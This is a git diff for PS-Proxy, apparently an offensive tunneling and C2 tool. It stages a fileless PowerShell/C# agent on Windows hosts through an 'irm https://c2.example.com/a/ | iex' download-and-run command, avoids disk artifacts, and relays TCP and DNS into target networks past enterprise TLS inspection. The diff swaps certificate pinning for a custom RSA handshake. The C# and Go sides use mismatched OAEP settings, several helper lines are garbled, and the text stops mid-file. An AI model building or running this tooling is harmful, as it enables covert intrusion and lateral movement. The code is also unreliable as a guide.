diff --git a/README.md b/README.md index 819b24a..73bd6f7 100644 --- a/README.md +++ b/README.md @@ -23,9 +23,9 @@ administrator privileges on the Windows agent host. - **Enrollment:** the server creates a short-lived one-time staging URL. The generated agent script contains an enrollment token rather than a long-term PSK. -- **TLS:** server certificate pinning is mandatory for the agent. The C# core - refuses to continue unless the presented server certificate matches the pinned - SHA-256 DER hash. +- **Trust anchor:** TLS is transport and staging only. The agent pins the stable + PS-Proxy application identity public key and establishes an authenticated + encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent. - **Disk behavior:** release agents do not use `Add-Type`, do not invoke `csc.exe` on the target, and do not intentionally write the managed agent DLL to disk. The embedded DLL is loaded with @@ -87,8 +87,11 @@ explicitly with `--agent-assembly-b64-file`. ## Start the server with transparent TCP routing -Use a real certificate whose leaf DER hash will be pinned by the agent. On the -Linux server, run as root so PS-Proxy can install and remove iptables NAT rules: +Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse +`psproxy_identity.pem` as the application-layer trust anchor; keep this file +stable across server restarts and redeployments so existing staged agents trust +the same server identity. On the Linux server, run as root so PS-Proxy can +install and remove iptables NAT rules: ```bash sudo ./psproxy-server \ @@ -114,9 +117,10 @@ The server prints a one-time command: irm https://c2.example.com/a/ | iex ``` -The generated script auto-starts, loads the embedded C# core in memory, validates -the pinned server certificate, enrolls with the one-time token, and switches to -the framed tunnel protocol. +The generated script auto-starts, loads the embedded C# core in memory, verifies +the staged PS-Proxy identity public key with an application-layer handshake, +sends enrollment inside the encrypted/authenticated tunnel, and then uses that +protected tunnel for all framed TCP and DNS relay traffic. ## Optional fixed-target developer TCP relay @@ -151,8 +155,15 @@ connections during high-concurrency tools such as NetExec; the default is 256. W - Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is not acceptable for sensitive environments because staging tampering means code execution on the Windows host. -- The agent pins the server certificate before enrollment or tunnel traffic. - Certificate pin mismatch is fatal. +- TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust. +- The server has a stable RSA identity key (`--identity-key`, default + `psproxy_identity.pem`). If the file is missing, the server generates a + 3072-bit RSA key and logs the SHA-256 pin of the public key DER. +- Keep `psproxy_identity.pem` stable and private. Rotating it intentionally + changes the PS-Proxy trust anchor and requires staging new agents. +- The staged agent embeds the server identity public key, performs an + application-layer PSP1 handshake, verifies a server HMAC proof, and only then + sends enrollment/reconnect tokens inside encrypted authenticated frames. - Enrollment URLs are short-lived and one-time use. - The enrollment token is placed in the HTTPS response body, not in the URL. - Do not log generated agent bodies or enrollment tokens. @@ -163,30 +174,33 @@ connections during high-concurrency tools such as NetExec; the default is 256. W ### TLS inspection / enterprise decryption -If an authorized enterprise TLS inspection device presents a different leaf -certificate to the Windows agent than the certificate loaded by the VPS server, -agent certificate pinning will fail. The safest fix is to exempt the PS-Proxy -server domain from TLS decryption so the agent sees the VPS certificate directly. +PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel +root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or +other decrypting proxies may present an enterprise-issued leaf certificate to the +agent; this should no longer break agent/server trust because the agent verifies +the staged PS-Proxy identity public key inside the TLS connection. -For controlled labs where decryption cannot be bypassed, pass the inspected leaf -certificate SHA-256 DER hash explicitly: +Operational guidance: -```bash ---agent-cert-pin-override <64-char-sha256-hex-pin> -``` - -Only use this when you control and trust the inspection device. This pins the -agent to the certificate it actually sees, not the certificate file loaded by the -VPS server. +- Keep using HTTPS for staging so the one-time loader is not exposed to trivial + network tampering. +- Keep `psproxy_identity.pem` private and stable. It is the PS-Proxy identity, + and its public key pin is what identifies the legitimate server to agents. +- Back up `psproxy_identity.pem` with the same care as other server secrets. If + it is lost and regenerated, previously staged agents will not trust the new + identity unless they are restaged with the new public key. +- TLS inspection can still observe the outer HTTPS transport metadata, but it + cannot read or tamper with protected PSP1 tunnel frames after the + application-layer handshake without detection. ## Current implementation status Implemented now: - Go TLS listener with mixed HTTP staging and raw agent tunnel handling. -- Leaf certificate pin calculation for generated agent configuration. +- Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents. - Short-lived one-time staging URLs. -- One-time enrollment token validation for the raw tunnel plus reconnect-token authentication after first enrollment. +- Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment. - Agent auto-reconnect with exponential backoff for transient tunnel failures. - Framed multiplexed stream protocol. - Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs. diff --git a/agent/PSProxy.Agent/PSProxy.Agent.cs b/agent/PSProxy.Agent/PSProxy.Agent.cs index bc9cf3d..6cb7091 100644 --- a/agent/PSProxy.Agent/PSProxy.Agent.cs +++ b/agent/PSProxy.Agent/PSProxy.Agent.cs @@ -18,7 +18,11 @@ namespace PSProxy.Agent private const int MaxPayload = 1 << 20; private readonly string server; private readonly int port; - private readonly string certPin; + private readonly string serverKey; + private ulong sendSeq; + private ulong recvSeq; + private byte[] encKey; + private byte[] macKey; private readonly string enrollToken; private readonly string reconnectToken; private readonly string dnsTarget; @@ -27,15 +31,15 @@ namespace PSProxy.Agent private SslStream tls; private volatile bool stopping; - public Tunnel(string server, int port, string certPin, string enrollToken, string reconnectToken, string dnsTarget) + public Tunnel(string server, int port, string serverKey, string enrollToken, string reconnectToken, string dnsTarget) { this.server = server; this.port = port; - this.certPin = NormalizeHex(certPin); + this.serverKey = serverKey; this.enrollToken = enrollToken; this.reconnectToken = reconnectToken ?? ""; this.dnsTarget = dnsTarget ?? ""; - if (this.certPin.Length != 64) throw new ArgumentException("CertPin must be a SHA-256 hex string"); + if (String.IsNullOrWhiteSpace(serverKey)) throw new ArgumentException("ServerKey is required"); if (String.IsNullOrWhiteSpace(enrollToken)) throw new ArgumentException("EnrollToken is required"); } @@ -70,7 +74,9 @@ namespace PSProxy.Agent using (tls = new SslStream(tcp.GetStream(), false, ValidateServerCertificate)) { tls.AuthenticateAsClient(server, null, SslProtocols.Tls12, false); - WriteAscii("PSP1\nENROLL " + enrollToken + " " + reconnectToken + "\n"); + WriteAscii("PSP1\n"); + SecureHandshake(); + SendFrame(new Frame(0, FramePing, Encoding.ASCII.GetBytes("ENROLL " + enrollToken + " " + reconnectToken))); Frame hello = ReadFrame(); if (hello.Type != FramePong || Encoding.ASCII.GetString(hello.Payload) != "OK") throw new Exception("server did not accept enrollment"); Console.Error.WriteLine("[ps-proxy] enrolled and ready"); @@ -79,6 +85,52 @@ namespace PSProxy.Agent } } + + private void SecureHandshake() + { + byte[] secret = RandomBytes(32); + byte[] nonce = RandomBytes(32); + byte[] pubDer = Convert.FromBase64String(serverKey.Trim()); + byte[] encSecret; + using (var rsa = new RSACryptoServiceProvider()) + { + rsa.ImportParameters(ParseRsaPublicKey(pubDer)); + encSecret = rsa.Encrypt(secret, true); + } + string hello = "HELLO " + B64Url(encSecret) + " " + B64Url(nonce) + "\n"; + WriteAscii(hello); + string proofLine = ReadLineAscii(); + string[] parts = proofLine.Trim().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); + if (parts.Length != 3 || parts[0] != "PROOF") throw new Exception("invalid secure handshake proof"); + byte[] serverNonce = B64UrlDecode(parts[1]); + byte[] proof = B64UrlDecode(parts[2]); + byte[] expected; + using (var h = new HMACSHA256(secret)) + { + expected = h.ComputeHash(Concat(Concat(Concat(Concat(Encoding.ASCII.GetBytes("PSP1\n"), Encoding.ASCII.GetBytes(hello)), serverNonce), nonce), pubDer)); + } + if (!ConstantTimeEquals(proof, expected)) throw new Exception("secure handshake proof mismatch"); + using (var sha = SHA256.Create()) + { + encKey = sha.ComputeHash(Concat(secret, Encoding.ASCII.GetBytes("psproxy aes-cbc"))); + macKey = sha.ComputeHash(Concat(secret, Encoding.ASCII.GetBytes("psproxy hmac"))); + } + sendSeq = 0; recvSeq = 0; + } + + private string ReadLineAscii() + { + var ms = new MemoryStream(); + while (true) + { + int b = tls.ReadByte(); + if (b < 0) throw new EndOfStreamException(); + ms.WriteByte((byte)b); + if (b == '\n') return Encoding.ASCII.GetString(ms.ToArray()); + if (ms.Length > 8192) throw new IOException("line too long"); + } + } + private void ReadLoop() { while (!stopping) @@ -191,26 +243,65 @@ namespace PSProxy.Agent { if (f.Payload == null) f.Payload = new byte[0]; if (f.Payload.Length > MaxPayload) throw new InvalidOperationException("frame payload too large"); - byte[] hdr = new byte[13]; - WriteU64BE(hdr, 0, f.StreamID); - hdr[8] = f.Type; - WriteI32BE(hdr, 9, f.Payload.Length); + byte[] plainFrame = EncodePlainFrame(f); + byte[] seq = U64BE(sendSeq); + byte[] plain = Concat(seq, plainFrame); + byte[] padded = Pkcs7Pad(plain, 16); + byte[] iv = RandomBytes(16); + byte[] ct; + using (var aes = Aes.Create()) + { + aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.None; aes.Key = encKey; aes.IV = iv; + using (var enc = aes.CreateEncryptor()) { ct = enc.TransformFinalBlock(padded, 0, padded.Length); } + } + byte[] body = Concat(iv, ct); + byte[] tag; + using (var h = new HMACSHA256(macKey)) { tag = h.ComputeHash(Concat(seq, body)); } + byte[] rec = Concat(body, tag); + byte[] len = new byte[4]; WriteI32BE(len, 0, rec.Length); lock (sendLock) { - tls.Write(hdr, 0, hdr.Length); - if (f.Payload.Length > 0) tls.Write(f.Payload, 0, f.Payload.Length); - tls.Flush(); + tls.Write(len, 0, len.Length); tls.Write(rec, 0, rec.Length); tls.Flush(); + sendSeq++; } } private Frame ReadFrame() { - byte[] hdr = ReadExact(13); - ulong sid = ReadU64BE(hdr, 0); - byte typ = hdr[8]; - int len = ReadI32BE(hdr, 9); - if (len < 0 || len > MaxPayload) throw new IOException("frame payload too large: " + len); - return new Frame(sid, typ, len == 0 ? new byte[0] : ReadExact(len)); + int len = ReadI32BE(ReadExact(4), 0); + if (len < 48 || len > MaxPayload + 1024) throw new IOException("invalid secure record length: " + len); + byte[] rec = ReadExact(len); + byte[] body = Slice(rec, 0, len - 32); + byte[] tag = Slice(rec, len - 32, 32); + byte[] seq = U64BE(recvSeq); + byte[] expected; + using (var h = new HMACSHA256(macKey)) { expected = h.ComputeHash(Concat(seq, body)); } + if (!ConstantTimeEquals(tag, expected)) throw new IOException("secure frame authentication failed"); + byte[] iv = Slice(body, 0, 16); byte[] ct = Slice(body, 16, body.Length - 16); byte[] pt; + using (var aes = Aes.Create()) + { + aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.None; aes.Key = encKey; aes.IV = iv; + using (var dec = aes.CreateDecryptor()) { pt = dec.TransformFinalBlock(ct, 0, ct.Length); } + } + pt = Pkcs7Unpad(pt, 16); + ulong gotSeq = ReadU64BE(pt, 0); + if (gotSeq != recvSeq) throw new IOException("secure frame sequence mismatch"); + recvSeq++; + return DecodePlainFrame(Slice(pt, 8, pt.Length - 8)); + } + + private byte[] EncodePlainFrame(Frame f) + { + byte[] b = new byte[13 + f.Payload.Length]; + WriteU64BE(b, 0, f.StreamID); b[8] = f.Type; WriteI32BE(b, 9, f.Payload.Length); + Buffer.BlockCopy(f.Payload, 0, b, 13, f.Payload.Length); return b; + } + + private Frame DecodePlainFrame(byte[] b) + { + if (b.Length < 13) throw new IOException("frame too short"); + int len = ReadI32BE(b, 9); if (len < 0 || len > MaxPayload || b.Length != 13 + len) throw new IOException("invalid frame length"); + return new Frame(ReadU64BE(b, 0), b[8], Slice(b, 13, len)); } private byte[] ReadExact(int n) @@ -235,13 +326,8 @@ namespace PSProxy.Agent private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { - var cert2 = new X509Certificate2(certificate); - using (var sha = SHA256.Create()) - { - string got = BitConverter.ToString(sha.ComputeHash(cert2.RawData)).Replace("-", "").ToLowerInvariant(); - if (got != certPin) { Console.Error.WriteLine("[ps-proxy] cert pin mismatch: " + got); return false; } - } - return sslPolicyErrors == SslPolicyErrors.None; + // TLS is transport/staging only. PS-Proxy server identity is verified by SecureHandshake. + return true; } private static void SplitTarget(string target, out string host, out int dstPort) @@ -264,7 +350,35 @@ namespace PSProxy.Agent client.EndConnect(ar); } - private static string NormalizeHex(string s) { return (s ?? "").Trim().ToLowerInvariant().Replace(":", "").Replace(" ", ""); } + + private static byte[] RandomBytes(int n) { byte[] b = new byte[n]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(b); } return b; } + private static byte[] Concat(byte[] a, byte[] b) { byte[] o = new byte[a.Length + b.Length]; Buffer.BlockCopy(a,0,o,0,a.Length); Buffer.BlockCopy(b,0,o,a.Length,b.Length); return o; } + private static byte[] Slice(byte[] b, int o, int n) { byte[] r = new byte[n]; Buffer.BlockCopy(b,o,r,0,n); return r; } + private static byte[] U64BE(ulong v) { byte[] b = new byte[8]; WriteU64BE(b,0,v); return b; } + private static string B64Url(byte[] b) { return Convert.ToBase64String(b).TrimEnd('=').Replace('+','-').Replace('/','_'); } + private static byte[] B64UrlDecode(string s) { string t = s.Replace('-','+').Replace('_','/'); while (t.Length % 4 != 0) t += "="; return Convert.FromBase64String(t); } + private static bool ConstantTimeEquals(byte[] a, byte[] b) { if (a == null || b == null || a.Length != b.Length) return false; int d = 0; for (int i=0;i block || p > b.Length) throw new IOException("invalid padding"); for (int i=b.Length-p;i 1 && mod[0] == 0) mod = Slice(mod, 1, mod.Length - 1); + return new RSAParameters { Modulus = mod, Exponent = exp }; + } + private static int BeginTLV(byte[] b, ref int o, int tag) { if (o >= b.Length || b[o++] != tag) throw new CryptographicException("asn1 tag"); int len = ReadLen(b, ref o); if (len < 0 || o + len > b.Length) throw new CryptographicException("asn1 len"); int end = o + len; return end; } + private static byte[] ReadTLV(byte[] b, ref int o, int tag) { int end = BeginTLV(b, ref o, tag); byte[] v = Slice(b, o, end - o); o = end; return v; } + private static int ReadLen(byte[] b, ref int o) { if (o >= b.Length) throw new CryptographicException("asn1 len"); int v = b[o++]; if ((v & 0x80) == 0) return v; int n = v & 0x7f; if (n < 1 || n > 4 || o + n > b.Length) throw new CryptographicException("asn1 len"); int len = 0; for (int i = 0; i < n; i++) len = (len << 8) | b[o++]; return len; } private static void WriteI32BE(byte[] b, int o, int v) { b[o] = (byte)(v >> 24); b[o + 1] = (byte)(v >> 16); b[o + 2] = (byte)(v >> 8); b[o + 3] = (byte)v; } private static int ReadI32BE(byte[] b, int o) { return ((int)b[o] << 24) | ((int)b[o + 1] << 16) | ((int)b[o + 2] << 8) | (int)b[o + 3]; } private static void WriteU64BE(byte[] b, int o, ulong v) { for (int i = 7; i >= 0; i--) { b[o + i] = (byte)v; v >>= 8; } } diff --git a/agent/loader/agent.ps1.tmpl b/agent/loader/agent.ps1.tmpl index 4b6349a..e68b32a 100644 --- a/agent/loader/agent.ps1.tmpl +++ b/agent/loader/agent.ps1.tmpl @@ -2,7 +2,7 @@ param( [string]$Server = "{{.Server}}", [int]$Port = {{.Port}}, - [string]$CertPin = "{{.CertPin}}", + [string]$ServerKey = "{{.ServerKey}}", [string]$EnrollToken = "{{.EnrollToken}}", [string]$ReconnectToken = "{{.ReconnectToken}}", [string]$DNSTarget = "{{.DNSTarget}}", @@ -30,13 +30,13 @@ function Start-PSTunnel { param( [Parameter(Mandatory=$true)][string]$Server, [int]$Port = 443, - [Parameter(Mandatory=$true)][string]$CertPin, + [Parameter(Mandatory=$true)][string]$ServerKey, [Parameter(Mandatory=$true)][string]$EnrollToken, [string]$ReconnectToken = "", [string]$DNSTarget = "" ) if (-not ("PSProxy.Agent.Tunnel" -as [type])) { Import-PSProxyAgentAssembly } - $t = New-Object PSProxy.Agent.Tunnel -ArgumentList @($Server, $Port, $CertPin, $EnrollToken, $ReconnectToken, $DNSTarget) + $t = New-Object PSProxy.Agent.Tunnel -ArgumentList @($Server, $Port, $ServerKey, $EnrollToken, $ReconnectToken, $DNSTarget) $t.Run() } -if (-not $NoAutoStart) { Start-PSTunnel -Server $Server -Port $Port -CertPin $CertPin -EnrollToken $EnrollToken -ReconnectToken $ReconnectToken -DNSTarget $DNSTarget } +if (-not $NoAutoStart) { Start-PSTunnel -Server $Server -Port $Port -ServerKey $ServerKey -EnrollToken $EnrollToken -ReconnectToken $ReconnectToken -DNSTarget $DNSTarget } diff --git a/cmd/psproxy-server/main.go b/cmd/psproxy-server/main.go index acb86f2..79ef21e 100644 --- a/cmd/psproxy-server/main.go +++ b/cmd/psproxy-server/main.go @@ -2,8 +2,13 @@ package main import ( "bufio" + "crypto/hmac" + "crypto/rand" + "crypto/rsa" "crypto/sha256" "crypto/tls" + "crypto/x509" + "encoding/base64" "encoding/hex" "encoding/json" "encoding/pem" @@ -34,7 +39,7 @@ func main() { port := flag.Int("port", 443, "TLS listener port") cert := flag.String("cert", "", "TLS fullchain PEM; defaults to /etc/letsencrypt/live//fullchain.pem") key := flag.String("key", "", "TLS private key PEM; defaults to /etc/letsencrypt/live//privkey.pem") - agentCertPinOverride := flag.String("agent-cert-pin-override", "", "override SHA-256 DER certificate pin embedded in staged agents; use only when an authorized TLS inspection device presents a different leaf cert") + identityKeyPath := flag.String("identity-key", "psproxy_identity.pem", "stable RSA identity private key PEM for PS-Proxy application-layer tunnel trust") tun := flag.String("tun", "psproxy0", "TUN interface name for the planned netstack data plane") agentTemplate := flag.String("agent-template", "agent/loader/agent.ps1.tmpl", "PowerShell agent loader template") agentAssemblyFile := flag.String("agent-assembly-b64-file", "", "file containing compressed/base64 PSProxy.Agent.dll; defaults to release/agent_assembly.b64 when present") @@ -71,16 +76,13 @@ func main() { if err := validateRoutes(routes); err != nil { log.Fatal(err) } - pin, err := certPin(*cert) + identityKey, err := loadOrCreateIdentityKey(*identityKeyPath) if err != nil { - log.Fatalf("certificate pin failed: %v", err) + log.Fatalf("identity key load failed: %v", err) } - if *agentCertPinOverride != "" { - pin, err = normalizeCertPin(*agentCertPinOverride) - if err != nil { - log.Fatalf("invalid --agent-cert-pin-override: %v", err) - } - log.Printf("WARNING: using operator-supplied agent certificate pin override") + serverKey, identityPin, err := publicKeyStaging(identityKey) + if err != nil { + log.Fatalf("identity public key encode failed: %v", err) } assembly, err := loadAssemblyB64(*agentAssemblyFile) if err != nil { @@ -91,11 +93,12 @@ func main() { } tmpl := template.Must(template.ParseFiles(*agentTemplate)) store := staging.NewStore(*ttl) - sess, err := store.Create(*domain, *port, pin, *dnsTarget) + sess, err := store.Create(*domain, *port, serverKey, *dnsTarget) if err != nil { log.Fatal(err) } server := NewTunnelServer(store, *maxStreams) + server.identityKey = identityKey mux := http.NewServeMux() mux.HandleFunc("GET /a/{id}", staging.AgentHandler(store, tmpl, assembly)) mux.HandleFunc("GET /healthz", func(w http.ResponseWriter, r *http.Request) { _, _ = w.Write([]byte("ok\n")) }) @@ -116,7 +119,8 @@ func main() { addr := fmt.Sprintf("%s:%d", *listen, *port) log.Printf("PS-Proxy Go server starting on https://%s", addr) log.Printf("TLS certificate: %s", *cert) - log.Printf("Agent cert pin: %s", pin) + log.Printf("PS-Proxy identity key: %s", *identityKeyPath) + log.Printf("PS-Proxy identity public key pin: %s", identityPin) log.Printf("Planned TUN target: %s routes=%s", *tun, strings.Join(routes, ",")) if *redirect { log.Printf("Transparent redirect mode enabled on 127.0.0.1:%d", *redirectPort) @@ -132,12 +136,13 @@ func main() { } type TunnelServer struct { - store *staging.Store - mu sync.Mutex - session *AgentSession - nextID atomic.Uint64 - dnsID atomic.Uint64 - maxStreams int + store *staging.Store + identityKey *rsa.PrivateKey + mu sync.Mutex + session *AgentSession + nextID atomic.Uint64 + dnsID atomic.Uint64 + maxStreams int } func NewTunnelServer(store *staging.Store, maxStreams int) *TunnelServer { @@ -194,13 +199,14 @@ type AgentSession struct { dnsPending map[uint64]chan []byte locals map[uint64]*localStream maxStreams int + codec protocol.Codec } func NewAgentSession(c net.Conn, br *bufio.Reader, maxStreams int) *AgentSession { if maxStreams < 1 { maxStreams = 1 } - return &AgentSession{conn: c, br: br, closed: make(chan struct{}), pending: map[uint64]chan error{}, dnsPending: map[uint64]chan []byte{}, locals: map[uint64]*localStream{}, maxStreams: maxStreams} + return &AgentSession{conn: c, br: br, codec: protocol.NewPlainCodec(br, c), closed: make(chan struct{}), pending: map[uint64]chan error{}, dnsPending: map[uint64]chan []byte{}, locals: map[uint64]*localStream{}, maxStreams: maxStreams} } func (a *AgentSession) Close() { @@ -227,7 +233,7 @@ func (a *AgentSession) Close() { func (a *AgentSession) send(f protocol.Frame) error { a.sendMu.Lock() defer a.sendMu.Unlock() - return protocol.WriteFrame(a.conn, f) + return a.codec.WriteFrame(f) } func (a *AgentSession) Open(id uint64, target string) error { @@ -280,7 +286,7 @@ func (a *AgentSession) RemoveLocal(id uint64) { func (a *AgentSession) Run() { defer a.Close() for { - f, err := protocol.ReadFrame(a.br) + f, err := a.codec.ReadFrame() if err != nil { log.Printf("agent disconnected: %v", err) return @@ -648,26 +654,30 @@ func handleTLSConn(raw net.Conn, cfg *tls.Config, mux *http.ServeMux, server *Tu } func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) { - line, err := br.ReadString('\n') - if err != nil { + codec := protocol.Codec(protocol.NewPlainCodec(br, conn)) + if server.identityKey != nil { + secure, err := serverHandshake(conn, br, server.identityKey) + if err != nil { + log.Printf("agent secure handshake failed: %v", err) + _ = conn.Close() + return + } + codec = secure + } + f, err := codec.ReadFrame() + if err != nil || f.Type != protocol.FramePing { _ = conn.Close() return } - line = strings.TrimSpace(line) - const prefix = "ENROLL " - if !strings.HasPrefix(line, prefix) { + fields := strings.Fields(string(f.Payload)) + if len(fields) == 0 || fields[0] != "ENROLL" || len(fields) < 2 { _ = conn.Close() return } - fields := strings.Fields(strings.TrimPrefix(line, prefix)) - if len(fields) == 0 { - _ = conn.Close() - return - } - enrollToken := fields[0] + enrollToken := fields[1] reconnectToken := "" - if len(fields) > 1 { - reconnectToken = fields[1] + if len(fields) > 2 { + reconnectToken = fields[2] } if err := server.store.Authenticate(enrollToken, reconnectToken); err != nil { log.Printf("agent enrollment failed: %v", err) @@ -675,6 +685,7 @@ func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) { return } a := NewAgentSession(conn, br, server.maxStreams) + a.codec = codec server.SetSession(a) log.Printf("agent enrolled and connected from %s", conn.RemoteAddr()) _ = a.send(protocol.Frame{Type: protocol.FramePong, Payload: []byte("OK")}) @@ -682,6 +693,55 @@ func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) { server.ClearSession(a) } +func serverHandshake(conn net.Conn, br *bufio.Reader, key *rsa.PrivateKey) (*protocol.SecureCodec, error) { + line, err := br.ReadString('\n') + if err != nil { + return nil, err + } + parts := strings.Fields(strings.TrimSpace(line)) + if len(parts) != 3 || parts[0] != "HELLO" { + return nil, errors.New("expected HELLO") + } + encSecret, err := base64.RawURLEncoding.DecodeString(parts[1]) + if err != nil { + return nil, err + } + clientNonce, err := base64.RawURLEncoding.DecodeString(parts[2]) + if err != nil { + return nil, err + } + if len(clientNonce) != 32 { + return nil, errors.New("invalid client nonce") + } + secret, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, key, encSecret, []byte("PS-Proxy PSP1 session")) + if err != nil { + return nil, err + } + if len(secret) != 32 { + return nil, errors.New("invalid session secret") + } + serverNonce := make([]byte, 32) + if _, err := rand.Read(serverNonce); err != nil { + return nil, err + } + pubDER, err := x509.MarshalPKIXPublicKey(&key.PublicKey) + if err != nil { + return nil, err + } + mac := hmac.New(sha256.New, secret) + mac.Write([]byte(protocol.Magic)) + mac.Write([]byte(line)) + mac.Write(serverNonce) + mac.Write(clientNonce) + mac.Write(pubDER) + proof := mac.Sum(nil) + resp := "PROOF " + base64.RawURLEncoding.EncodeToString(serverNonce) + " " + base64.RawURLEncoding.EncodeToString(proof) + "\n" + if _, err := io.WriteString(conn, resp); err != nil { + return nil, err + } + return protocol.NewSecureCodec(br, conn, secret) +} + type singleListener struct { conn net.Conn done chan struct{} @@ -716,28 +776,45 @@ type multiFlag []string func (m *multiFlag) String() string { return strings.Join(*m, ",") } func (m *multiFlag) Set(v string) error { *m = append(*m, v); return nil } -func normalizeCertPin(pin string) (string, error) { - normalized := strings.ToLower(strings.ReplaceAll(strings.ReplaceAll(strings.TrimSpace(pin), ":", ""), " ", "")) - if len(normalized) != 64 { - return "", fmt.Errorf("pin must be 64 hex characters after removing colons/spaces") +func loadOrCreateIdentityKey(path string) (*rsa.PrivateKey, error) { + if b, err := os.ReadFile(path); err == nil { + block, _ := pem.Decode(b) + if block == nil { + return nil, fmt.Errorf("no PEM block in %s", path) + } + if k, err := x509.ParsePKCS1PrivateKey(block.Bytes); err == nil { + return k, nil + } + parsed, err := x509.ParsePKCS8PrivateKey(block.Bytes) + if err != nil { + return nil, err + } + k, ok := parsed.(*rsa.PrivateKey) + if !ok { + return nil, errors.New("identity key is not RSA") + } + return k, nil + } else if !os.IsNotExist(err) { + return nil, err } - if _, err := hex.DecodeString(normalized); err != nil { - return "", fmt.Errorf("pin must be hex: %w", err) + k, err := rsa.GenerateKey(rand.Reader, 3072) + if err != nil { + return nil, err } - return normalized, nil + b := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(k)}) + if err := os.WriteFile(path, b, 0600); err != nil { + return nil, err + } + return k, nil } -func certPin(path string) (string, error) { - pemBytes, err := os.ReadFile(path) +func publicKeyStaging(k *rsa.PrivateKey) (string, string, error) { + der, err := x509.MarshalPKIXPublicKey(&k.PublicKey) if err != nil { - return "", err + return "", "", err } - block, _ := pem.Decode(pemBytes) - if block == nil || block.Type != "CERTIFICATE" { - return "", fmt.Errorf("no PEM certificate found in %s", path) - } - sum := sha256.Sum256(block.Bytes) - return hex.EncodeToString(sum[:]), nil + sum := sha256.Sum256(der) + return base64.StdEncoding.EncodeToString(der), hex.EncodeToString(sum[:]), nil } func publicURL(domain string, port int) string { if port == 443 { diff --git a/cmd/psproxy-server/main_test.go b/cmd/psproxy-server/main_test.go index a371172..f03a38c 100644 --- a/cmd/psproxy-server/main_test.go +++ b/cmd/psproxy-server/main_test.go @@ -2,7 +2,14 @@ package main import ( "bufio" + "crypto/hmac" + "crypto/rand" + "crypto/rsa" + "crypto/sha256" + "crypto/x509" + "encoding/base64" "net" + "strings" "testing" "time" @@ -124,23 +131,67 @@ func TestSingleListenerAcceptReturnsEOFAfterFirstConn(t *testing.T) { t.Fatal("second accept should return EOF") } } - -func TestNormalizeCertPin(t *testing.T) { - pin := "BC:1D:96:47:91:A5:11:B4:95:26:EC:F2:25:35:37:F6:E6:17:0A:1A:19:4F:45:65:9E:88:0C:A7:A4:3D:6C:02" - got, err := normalizeCertPin(pin) +func TestServerSecureHandshakeEncryptedFrame(t *testing.T) { + key, err := rsa.GenerateKey(rand.Reader, 3072) if err != nil { - t.Fatalf("normalize pin failed: %v", err) + t.Fatal(err) } - want := "bc1d964791a511b49526ecf2253537f6e6170a1a194f45659e880ca7a43d6c02" - if got != want { - t.Fatalf("unexpected normalized pin: %s", got) - } -} - -func TestNormalizeCertPinRejectsInvalidPins(t *testing.T) { - for _, pin := range []string{"abc", "zz1d964791a511b49526ecf2253537f6e6170a1a194f45659e880ca7a43d6c02"} { - if _, err := normalizeCertPin(pin); err == nil { - t.Fatalf("expected invalid pin %q to fail", pin) - } + store := staging.NewStore(time.Minute) + sess, err := store.Create("c2.example.com", 443, "server-key", "") + if err != nil { + t.Fatal(err) + } + server := NewTunnelServer(store, 2) + server.identityKey = key + srv, cli := net.Pipe() + defer cli.Close() + go handleAgent(srv, bufio.NewReader(srv), server) + if _, err := cli.Write([]byte("HELLO ")); err != nil { + t.Fatal(err) + } + secret := []byte("0123456789abcdef0123456789abcdef") + nonce := []byte("abcdef0123456789abcdef0123456789") + enc, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, &key.PublicKey, secret, []byte("PS-Proxy PSP1 session")) + if err != nil { + t.Fatal(err) + } + helloTail := base64.RawURLEncoding.EncodeToString(enc) + " " + base64.RawURLEncoding.EncodeToString(nonce) + "\n" + if _, err := cli.Write([]byte(helloTail)); err != nil { + t.Fatal(err) + } + br := bufio.NewReader(cli) + line, err := br.ReadString('\n') + if err != nil { + t.Fatal(err) + } + parts := strings.Fields(strings.TrimSpace(line)) + if len(parts) != 3 || parts[0] != "PROOF" { + t.Fatalf("bad proof line: %q", line) + } + serverNonce, _ := base64.RawURLEncoding.DecodeString(parts[1]) + proof, _ := base64.RawURLEncoding.DecodeString(parts[2]) + pubDER, _ := x509.MarshalPKIXPublicKey(&key.PublicKey) + mac := hmac.New(sha256.New, secret) + mac.Write([]byte(protocol.Magic)) + mac.Write([]byte("HELLO " + helloTail)) + mac.Write(serverNonce) + mac.Write(nonce) + mac.Write(pubDER) + if !hmac.Equal(proof, mac.Sum(nil)) { + t.Fatal("proof mismatch") + } + codec, err := protocol.NewSecureCodec(br, cli, secret) + if err != nil { + t.Fatal(err) + } + if err := codec.WriteFrame(protocol.Frame{Type: protocol.FramePing, Payload: []byte("ENROLL " + sess.EnrollToken + " " + sess.ReconnectToken)}); err != nil { + t.Fatal(err) + } + f, err := codec.ReadFrame() + if err != nil { + t.Fatal(err) + } + if f.Type != protocol.FramePong || string(f.Payload) != "OK" { + t.Fatalf("unexpected ack: %#v", f) } } diff --git a/internal/protocol/codec.go b/internal/protocol/codec.go new file mode 100644 index 0000000..3963b50 --- /dev/null +++ b/internal/protocol/codec.go @@ -0,0 +1,159 @@ +package protocol + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/binary" + "errors" + "fmt" + "io" +) + +const secureMaxRecord = MaxPayload + 1024 + +type Codec interface { + ReadFrame() (Frame, error) + WriteFrame(Frame) error +} + +type 